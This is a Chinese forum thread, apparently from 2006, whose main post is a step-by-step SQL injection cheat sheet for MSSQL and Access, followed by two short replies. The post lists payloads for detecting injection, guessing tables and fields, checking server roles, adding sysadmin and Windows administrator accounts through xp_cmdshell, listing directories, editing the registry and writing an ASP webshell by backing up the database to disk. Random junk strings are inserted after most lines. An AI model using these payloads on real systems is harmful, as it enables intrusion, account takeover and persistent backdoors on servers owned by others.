社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4417阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 62kA(F 0e,  
  2.初步判断是否是mssql ;and user>0 <I*N=;7  
~1XC5.*-  
  3.注入参数是字符'and [查询条件] and ''=' E@%1HO_  
z0x^HDAeC  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^?_MIS`4N  
h@]{j_$u  
  5.判断数据库系统 CfO{KiM(2  
P'SGt  
  ;and (select count(*) from sysobjects)>0 mssql z}iz~WZ  
<>(v~a]  
  ;and (select count(*) from msysobjects)>0 access M1]w0~G  
y<*\D_J  
A8QUfg@uK~  
k.})3~F-  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 nltOX@P-  
U\W$^r,  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1cx%+-  
TD-B\ @_  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P)LQ=b}V#;  
;pS+S0U   
  9.(1)猜字段的ascii值(access) ?&!!(dWFH  
++UxzUd  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 FRL;fF  
txm6[Io  
  (2)猜字段的ascii值(mssql) 'SXLnoeTa  
;1s;"  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Vx:uqzw#  
mE=Tj%+ x  
  10.测试权限结构(mssql) 2"k|IHs1  
H@1qU|4  
-GCU6U|  
cd~QGP_C  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- i!fk'Yt%  
{MN6JGb|'  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YzJWS|]  
p.<d+S<  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :?}> Q  
`9k\~D=D~  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3''Uxlo\  
T24$lhM  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1NG[   
F&#I[]#  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,-kz \N@.  
M04u>| ,  
  ;and 1=(select IS_MEMBER('db_owner'));-- IF@vl  
5!wjYQt3  
)iVuac]E++  
TwF.UL@G%  
  11.添加mssql和系统的帐户 [,;O$j}  
mwn$ey&QE  
  ;exec master.dbo.sp_addlogin username;-- Bs|#7mA[  
  ;exec master.dbo.sp_password null,username,password;-- QxuU3#l  
3g56[;Up?  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- RH$l?j6  
R&:Qy7"  
  ;exec master.dbo.xp_cmdshell 'net user username password 6ZwQ/~7H  
nEP3B '+  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- bSQj=|h1  
DjiI*HLNR  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- il"pKQF  
>) Bv>HM  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t?b@l<, s  
<[T{q |*  
{d0 rUHP  
I)9 ,  
  12.(1)遍历目录 L^PBcfg  
a1ps'^Qhh  
  ;create table dirs(paths varchar(100), id int) f+.sm  
+QOK]NJN  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' Jh36NE8r  
0W_u"UY$c  
  ;and (select top 1 paths from dirs)>0 ,1.Td=lY$  
({$rb-  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &os:h] C  
5|`./+Ghk  
mVN\  
(dy:d^  
  (2)遍历目录 _PQk<QZ  
<]_[o:nOP  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^rO!-  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }[PC YnS  
7AqbfLO  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 z5D*UOy5M  
C[l5[DpH  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 J l{My^I5  
bA'N2~.,  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 hSN38wy  
><. *5q  
#;+SAoN  
!w0=&/Y{R  
  13.mssql中的存储过程 yn20*ix{  
*y` (^kyS  
  xp_regenumvalues 注册表根键, 子键 cxFyN ;7  
6\v4#  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 rJB/)4 mE  
q0['!G%["  
  xp_regread 根键,子键,键值名 ;!7M<T$&  
b2j ~"9  
  ;exec xp_regread k9NHdi7&2  
<xrya _R?  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 s;[=B  
X`-o0HG  
  xp_regwrite 根键,子键, 值名, 值类型, 值 L)S V?FBx  
f]C^{Uk#  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - (q7"h  
p;D {?H/  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 OB^j b8  
MUCes3YJH  
  xp_regdeletevalue 根键,子键,值名 L$"pk{'  
a] 6d hQ`  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e? |4O< @  
1zCgPiAem  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 W'Y(@  
~zvZK]JoX  
YUyYVi7clq  
vIZFI  
  14.mssql的backup创建webshell lS!O(NzqE'  
o3NB3@uj<  
  use model  `=B v+  
mtw{7 E  
  create table cmd(str image); IJ:JH=8  
EN,}[^Z  
  insert into cmd(str) values (''); -zzT:C  
2E!Q5 l!j  
  backup database model to disk='c:\l.asp'; nQg_1+  
LY#V)f  
Q )8I(*  
H:WuMwD4  
  15.mssql内置函数 {h.j6  
9C!b f \  
  ;and (select @@version)>0 获得Windows的版本号 <^942y-=  
9T1 - {s R  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3;!!`R>e  
#/_ VY.  
  ;and (select user_name())>0 爆当前系统的连接用户 pwB>$7(_h  
r]aI=w<(f  
  ;and (select db_name())>0 得到当前连接的数据库 6?JvvS5  
M!%|IKw  
-3m!970  
23a:q{R  
  16.简洁的webshell |1e//*  
}KNBqPo4B  
  use model e)87 & 7  
: &~LPmJ  
  create table cmd(str image); $U)nrn i  
}gE^HH'  
  insert into cmd(str) values (''); <7gv<N6BQf  
"x0KiIoPk  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八